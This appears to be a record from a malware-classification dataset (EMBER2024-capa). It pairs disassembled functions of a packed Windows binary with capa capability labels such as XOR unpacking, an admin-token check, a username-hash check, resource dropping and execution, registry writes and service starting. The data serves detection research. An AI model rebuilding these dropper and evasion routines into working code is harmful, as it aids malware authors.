joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x324044cc
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x4a7d6c2d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4010c0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x42c520]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ecx, ecx
mov al, 1
push edi
lea ebx, [ebx]
movzx edx, al
mov byte [ebp + edx - 0x104], cl
mov dl, al
and dl, 0x80
mov byte [ebp + ecx - 0x204], al
inc ecx
neg dl
sbb dl, dl
mov bl, al
and dl, 0x1b
add bl, bl
xor dl, bl
xor al, dl
cmp ecx, 0x100
jl 0x4010e0
mov al, 1
mov ecx, 0x4652e0
movzx edx, al
shl edx, 0x18
mov dword [ecx], edx
mov dl, al
and dl, 0x80
add ecx, 4
neg dl
sbb dl, dl
and dl, 0x1b
add al, al
xor al, dl
cmp ecx, 0x465308
jl 0x401115
mov dword [0x4646e0], 0x63
mov dword [0x4678ac], 0
mov edx, 1
jmp 0x401160
movzx eax, byte [ebp + edx - 0x104]
lea ecx, [ebp - 0x105]
sub ecx, eax
mov cl, byte [ecx]
mov al, cl
rol al, 1
xor cl, al
rol al, 1
xor cl, al
rol al, 1
xor cl, al
rol al, 1
xor al, cl
xor al, 0x63
movzx eax, al
mov dword [edx*4 + 0x4646e0], eax
mov dword [eax*4 + 0x467720], edx
inc edx
cmp edx, 0x100
jl 0x401160
xor ecx, ecx
mov dl, byte [ecx + 0x4646e0]
mov al, dl
and al, 0x80
neg al
sbb al, al
and al, 0x1b
mov bl, dl
add bl, bl
xor al, bl
movzx esi, al
movzx edx, dl
mov eax, esi
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, esi
xor eax, edx
mov dword [ecx + 0x467320], eax
ror eax, 8
mov dword [ecx + 0x466f20], eax
ror eax, 8
mov dword [ecx + 0x466b20], eax
ror eax, 8
mov dword [ecx + 0x466720], eax
mov al, byte [ecx + 0x467720]
test al, al
je 0x40126f
movzx edx, al
movzx esi, byte [ebp + edx - 0x104]
movzx eax, byte [ebp - 0xf9]
add eax, esi
cdq
mov edi, 0xff
idiv edi
movzx eax, byte [ebp + edx - 0x204]
mov dword [ebp - 0x208], eax
movzx eax, byte [ebp - 0xf7]
add eax, esi
cdq
idiv edi
movzx eax, byte [ebp - 0xfb]
add eax, esi
movzx ebx, byte [ebp + edx - 0x204]
cdq
idiv edi
movzx eax, byte [ebp - 0xf6]
add eax, esi
mov esi, 0xff
movzx edi, byte [ebp + edx - 0x204]
cdq
idiv esi
movzx eax, byte [ebp + edx - 0x204]
mov edx, dword [ebp - 0x208]
jmp 0x401277
xor edx, edx
xor ebx, ebx
xor edi, edi
xor eax, eax
shl eax, 8
xor eax, edi
shl eax, 8
xor eax, ebx
shl eax, 8
xor eax, edx
mov dword [ecx + 0x466320], eax
ror eax, 8
mov dword [ecx + 0x465f20], eax
ror eax, 8
mov dword [ecx + 0x464ee0], eax
ror eax, 8
mov dword [ecx + 0x464ae0], eax
add ecx, 4
cmp ecx, 0x400
jl 0x4011a2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412153
mov esp, ebp
pop ebp
ret
Function at 0x405ee0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x429db8
push 0x4182a0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x42c520]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x500
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x405f7b
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x405f61
mov dword [ebp - 0x28], ebx
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x28]
jmp 0x405f7b
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00412153
mov esp, ebp
pop ebp
ret

Function at 0x405fa0
Capabilities:
Get session user name
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x429f18
push 0x4182a0
mov eax, dword fs:[0]
push eax
sub esp, 0x120
mov eax, dword [0x42c520]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor eax, eax
xor esi, esi
mov dword [ebp - 4], eax
mov byte [ebp - 0x120], al
push 0x103
push eax
lea eax, [ebp - 0x11f]
push eax
call fcn.00414290
add esp, 0xc
mov dword [ebp - 0x12c], 0x104
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x40607d
mov edx, 6
mov dword [ebp - 0x130], edx
lea ecx, [ebp - 0x120]
or eax, 0xffffffff
mov dword [ebp - 0x124], ecx
mov esi, edx
dec edx
mov dword [ebp - 0x130], edx
test esi, esi
je 0x40605c
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x428628]
inc ecx
jmp 0x406031
not eax
xor ecx, ecx
cmp eax, 0x39b5d60d
sete cl
mov esi, ecx
jmp 0x406077
mov dword [ebp - 0x128], esi
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00412153
mov esp, ebp
pop ebp
ret
Function at 0x407010
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
mov ecx, 0x462580
call fcn.004110d7
mov ebx, eax
mov dword [ebp - 4], 1
test ebx, ebx
je 0x4070c4
test esi, esi
jne 0x4070c4
mov eax, dword [ebp + 8]
shr eax, 4
inc eax
push esi
movzx ecx, ax
push ecx
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, eax
test edi, edi
je 0x4070a8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4070a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4070a2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
add eax, esi
and ecx, 0xf
jbe 0x407091
cmp esi, eax
jae 0x407095
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407083
cmp esi, eax
jb 0x407099
xor eax, eax
jmp 0x4070a2
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
mov esi, eax
test eax, eax
jne 0x4070cd
mov edi, dword [ebp - 4]
push edi
mov ecx, 0x462580
call fcn.004110d7
mov ebx, eax
inc edi
mov dword [ebp - 4], edi
test ebx, ebx
jne 0x407035
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4071d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4071e8
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40721a
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x407216
cmp esi, eax
jae 0x40721a
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407208
cmp esi, eax
jb 0x407220
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x407b40
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x429ed8
push 0x4182a0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
cmp eax, ecx
je 0x407c72
mov edi, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], ebx
mov edx, ecx
sub edx, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], 0x48
cmp dword [ebp - 0x28], edx
jg 0x407bd6
mov esi, edi
mov eax, str.03007495_09bb_4334_987a_ae7586bca024_9a321bc78c02af107e2390662f9a5441_
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov ebx, 0x428c10
cmp eax, ebx
jne 0x407bc0
xor ebx, ebx
jmp 0x407bd8
mov bl, byte [esi]
cmp bl, byte [eax]
je 0x407bd2
inc edi
mov dword [ebp - 0x2c], edi
dec edx
mov dword [ebp - 0x24], edx
xor ebx, ebx
jmp 0x407ba1
inc esi
inc eax
jmp 0x407bad
mov edi, ecx
mov esi, 0x48
mov eax, str.03007495_09bb_4334_987a_ae7586bca024_9a321bc78c02af107e2390662f9a5441_
mov ecx, edi
cmp esi, 4
jb 0x407bfe
mov edx, dword [ecx]
cmp edx, dword [eax]
jne 0x407c72
sub esi, 4
add eax, 4
add ecx, 4
jmp 0x407be4
cmp esi, ebx
je 0x407c22
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407c72
cmp esi, 1
jbe 0x407c22
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407c72
cmp esi, 2
jbe 0x407c22
mov al, byte [eax + 2]
cmp al, byte [ecx + 2]
jne 0x407c72
push 0xf0000040
push 1
push ebx
push ebx
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x407c72
mov eax, 0x48
mov eax, dword [edi + eax]
push edi
push eax
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x407c72
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [ebp - 0x1c], ebx
jmp 0x407c72
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x407c88
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4095f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423b58
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x18]
push 0x428a98
xor ebx, ebx
push eax
xor esi, esi
mov dword [ebp - 4], ebx
call fcn.00409a90
add esp, 8
mov edi, dword [ebp - 0x18]
cmp dword [edi - 0xc], ebx
je 0x4096f6
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
lea ebx, [ebp - 0x24]
mov byte [ebp - 4], 2
call fcn.004097d0
mov ebx, dword [ebp - 0x24]
test eax, eax
jne 0x4096e9
test ebx, ebx
je 0x4096f4
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
push ecx
push str.__s_
lea edi, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00406f70
mov edi, dword [ebp - 0x14]
mov eax, edi
add esp, 8
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4096a0
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 8]
push edx
push edi
push 2
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb esi, esi
lea eax, [edi - 0x10]
inc esi
mov byte [ebp - 4], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4096e9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test ebx, ebx
je 0x4096f4
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40973c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409890
Capabilities:
Modify service
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423b20
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x20]
xor esi, esi
push 0x428b38
xor ebx, ebx
push eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], esi
call fcn.00409a90
add esp, 8
mov ecx, dword [ebp - 0x20]
cmp dword [ecx - 0xc], esi
je 0x4099ba
push 5
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, esi
je 0x4099ba
mov edx, dword [ebp - 0x20]
push 0x17
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
mov dword [ebp - 0x24], eax
cmp ebx, esi
je 0x4099b0
lea eax, [ebp - 0x18]
push eax
push esi
push esi
mov dword [ebp - 0x18], esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
push ebx
call esi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, ecx
je 0x40999c
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
push eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0x11]
lea edi, [ebp - 0x34]
mov byte [ebp - 0x11], cl
call fcn.004077e0
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x34]
sub eax, edi
cmp eax, dword [ebp - 0x18]
jne 0x40998f
test edi, edi
je 0x40998f
lea ecx, [ebp - 0x18]
push ecx
push eax
push edi
push ebx
call esi
test eax, eax
je 0x40998f
cmp dword [edi + 4], 2
je 0x40998f
mov edx, dword [edi + 8]
mov eax, dword [edi]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 2
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea esi, [ebp - 0x34]
call fcn.004077b0
mov edi, dword [ebp - 0x1c]
xor ecx, ecx
push ecx
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor ebx, ebx
xor esi, esi
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4099ea
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x4099ea
cmp ebx, esi
je 0x4099f5
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x409a03
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a760
Capabilities:
Enumerate processes
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423a76
mov eax, dword fs:[0]
push eax
sub esp, 0x2c4
mov eax, dword [0x42c520]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
push esi
push 2
mov dword [ebp - 0x2c8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x2d0], ebx
cmp ebx, esi
je 0x40a903
cmp ebx, 0xffffffff
je 0x40a903
push 0x228
lea eax, [ebp - 0x2c0]
push esi
push eax
call fcn.00414290
add esp, 0xc
lea ecx, [ebp - 0x2c4]
push ecx
push ebx
mov dword [ebp - 0x2c4], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40a8f1
lea eax, [ebp - 0x2a0]
push eax
lea ecx, [ebp - 0x98]
lea edx, [ebp - 0x94]
push ecx
mov dword [ebp - 0x98], edx
call fcn.0040e860
lea edx, [ebp - 0x2cc]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x98]
push edx
call fcn.0040cb70
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x98]
lea ecx, [ebp - 0x94]
cmp eax, ecx
je 0x40a845
push eax
call fcn.004125f8
add esp, 4
lea edi, [ebp - 0x2cc]
call fcn.0040cc30
mov esi, dword [ebp - 0x2cc]
mov eax, esi
lea edx, [eax + 1]
jmp 0x40a860
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a860
sub eax, edx
mov edx, esi
or ecx, 0xffffffff
mov edi, edi
mov edi, eax
dec eax
test edi, edi
je 0x40a88f
movzx edi, byte [edx]
xor edi, ecx
and edi, 0xff
shr ecx, 8
xor ecx, dword [edi*4 + 0x428628]
inc edx
jmp 0x40a870
not ecx
mov byte [ebp - 4], 0
lea eax, [esi - 0x10]
cmp dword [ebp + 8], ecx
jne 0x40a8c2
mov dword [ebp - 0x2c8], 1
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40a8f1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40a8f1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a8db
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x2c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40a7f3
test ebx, ebx
je 0x40a903
cmp ebx, 0xffffffff
je 0x40a903
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
je 0x40a91a
cmp ebx, 0xffffffff
je 0x40a91a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00412153
mov esp, ebp
pop ebp
ret
Function at 0x40af80
Capabilities:
Check if file exists
Create process on windows
Delete file
Extract resource via kernel32 functions
Move file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424008
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
cmp edi, ebx
je 0x40b169
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40afc3
sub eax, edx
sar eax, 1
je 0x40b169
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40b169
push 0xa
push 0x65
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x40b15b
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
cmp edi, ebx
je 0x40b169
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x40b169
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
je 0x40b169
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
lea ecx, [ebp - 0x30]
push ecx
push edi
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00407730
add esp, 8
cmp eax, ebx
je 0x40b142
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
cmp edi, esi
je 0x40b142
mov edx, dword [ebp + 8]
push 0x428bbc
push edx
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.00413119
add esp, 0xc
test eax, eax
jne 0x40b142
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x40b142
push eax
sub esi, edi
push esi
push 1
push edi
call fcn.004132b7
mov edx, dword [ebp - 0x1c]
xor ecx, ecx
cmp esi, eax
sete cl
push edx
mov esi, ecx
call fcn.0041339e
add esp, 0x14
cmp esi, ebx
je 0x40b142
lea esi, [ebp - 0x20]
call fcn.00406950
push 0x6b
mov byte [ebp - 4], 2
call fcn.00407010
add esp, 4
cmp eax, ebx
je 0x40b13a
push eax
mov eax, 0x6b
mov edi, esi
call fcn.00406b20
cmp eax, ebx
je 0x40b13a
mov edi, dword [ebp - 0x20]
cmp dword [edi - 0xc], ebx
je 0x40b13a
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.00406970
lea esi, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.0040d920
mov eax, edi
call fcn.0040d800
cmp eax, ebx
je 0x40b132
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x40b132
mov eax, dword [ebp - 0x14]
push 1
push ebx
push ebx
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x18], 1
lea eax, [ebp - 0x14]
call fcn.0040cc10
lea eax, [ebp - 0x20]
call fcn.0040cc10
lea esi, [ebp - 0x30]
call fcn.004077b0
jmp 0x40b169
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b710
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423d60
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x42c520]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
lea eax, [ebp - 0x18]
push str._lr
xor edi, edi
push eax
xor esi, esi
mov dword [ebp - 4], edi
call fcn.00409a90
mov ecx, dword [ebp - 0x18]
add esp, 8
cmp dword [ecx - 0xc], edi
je 0x40b7e5
cmp edi, 2
jge 0x40b7e5
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x14]
push edx
push 0
xor eax, eax
push 2
test edi, edi
push 0
setne al
push 0
push 0
push ecx
mov dword [ebp - 0x14], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40b7dc
mov esi, dword [ebp - 0x14]
mov ecx, esi
mov dword [ebp - 0x28], ecx
test ebx, ebx
jne 0x40b7a8
lea eax, [ebx + 0xd]
jmp 0x40b7c8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push ebx
push 1
push 0
push 0x428dc8
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x28]
xor edx, edx
test eax, eax
sete dl
mov esi, edx
test ecx, ecx
je 0x40b7dc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x18]
inc edi
jmp 0x40b761
lea eax, [ecx - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40b825
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret